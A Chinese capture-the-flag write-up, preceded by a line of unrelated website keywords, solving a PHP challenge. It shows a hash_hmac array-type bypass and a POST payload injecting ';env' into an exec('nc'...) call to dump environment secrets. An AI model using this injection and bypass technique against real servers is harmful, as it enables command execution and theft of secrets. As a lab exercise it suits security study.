建设网站服务器自营方式的特点,虚拟商品交易网站建设,怎么学做网站,途牛旅游网知识点#xff1a;数组加密绕过 进入页面熟悉的web三部曲#xff08;url地址#xff0c;web源代码#xff0c;web目录扫描#xff09;
url地址没有什么东西去看看源代码. 这有一个mp3文件点一下看看. 在最后面发现了 PHP源码. if(empty($_POST[Black-Cat-Sheriff]) || em…知识点数组加密绕过 进入页面熟悉的web三部曲url地址web源代码web目录扫描
url地址没有什么东西去看看源代码. 这有一个mp3文件点一下看看. 在最后面发现了 PHP源码. if(empty($_POST[Black-Cat-Sheriff]) || empty($_POST[One-ear])){die(谁竟敢踩我一只耳的尾巴);
}$clandestine getenv(clandestine);if(isset($_POST[White-cat-monitor]))$clandestine hash_hmac(sha256, $_POST[White-cat-monitor], $clandestine);$hh hash_hmac(sha256, $_POST[One-ear], $clandestine);if($hh ! $_POST[Black-Cat-Sheriff]){die(有意瞄准无意击发你的梦想就是你要瞄准的目标。相信自己你就是那颗射中靶心的子弹。);
}echo exec(nc.$_POST[One-ear]);开始代码审计.
if(empty($_POST[Black-Cat-Sheriff]) || empty($_POST[One-ear])){ die(谁竟敢踩我一只耳的尾巴);
}
// 检查POST请求中是否包含Black-Cat-Sheriff和One-ear字段且它们不为空。
// 这是一个基本的输入验证但不足以防止所有类型的攻击。 $clandestine getenv(clandestine);
// 从环境变量中获取名为clandestine的值这通常用于存储敏感信息如密钥。
// 但从环境变量中直接读取密钥可能不安全因为它可能暴露给不应访问它的进程。 if(isset($_POST[White-cat-monitor])) $clandestine hash_hmac(sha256, $_POST[White-cat-monitor], $clandestine);
// 如果POST请求中包含White-cat-monitor则使用其值对clandestine进行HMAC SHA256哈希处理。
// 这可能导致clandestine的值被意外修改这可能不是预期的行为。 $hh hash_hmac(sha256, $_POST[One-ear], $clandestine);
// 使用clandestine作为密钥对One-ear的值进行HMAC SHA256哈希处理。
// 这可能用于验证One-ear的值但依赖于之前clandestine的值是否已被修改。 if($hh ! $_POST[Black-Cat-Sheriff]){ die(有意瞄准无意击发你的梦想就是你要瞄准的目标。相信自己你就是那颗射中靶心的子弹。);
}
// 验证Black-Cat-Sheriff的值是否与预期的哈希值匹配。
// 如果不匹配则输出一条消息并终止脚本。 echo exec(nc.$_POST[One-ear]); // 危险
// 这里存在严重的安全问题
// 使用exec函数执行以ncNetcat开头的命令并将One-ear的值附加到命令中。
// 这允许攻击者通过控制One-ear的值来执行任意命令这是典型的命令注入漏洞。
// 攻击者可以利用这个漏洞来完全控制服务器。
意思是我们要保证Black-Cat-Sheriff 和 One-ear 两个参数的POST值存在的同时Black-Cat-Sheriff的值要等于One-ear经过sha256加密后的值$hh最后通过exec这个危险函数来获取flag. 知识点当数组进行sha256加密时返回总为NULL. 示例
?php
var_dump(hash_hmac(sha256, array(0), Unknown_key));?结果为NULL 如果我们想要保证hh的value等于Black-Cat-Sheriff的value那么我们就需要控制这两个参数的value因为$clandestinegetenv(clandestine);,我们无法知道它第一次加密的环境变量的value但由于我们知道当数组进行sha256加密时返回总为NULL我们就可以控制$clandestine第二次加密这个key的valueNULL从而控制hh的value. 话不多说开始注入.
利用下面这exp求出Black-Cat-Sheriff的value
?php
var_dump(hash_hmac(sha256, ;env, NULL));
?resultafd556602cf62addfe4132a81b2d62b9db1b6719f83e16cce13f51960f56791b
White-cat-monitor[]1Black-Cat-Sheriffafd556602cf62addfe4132a81b2d62b9db1b6719f83e16cce13f51960f56791bOne-ear;env至于为什么 用的是;env而不是什么cat flag是因为flag文件里的flag值时假的他的flag值在环境变量里同时 ; 是为了不被前面的nc影响. 得到flag游戏结束~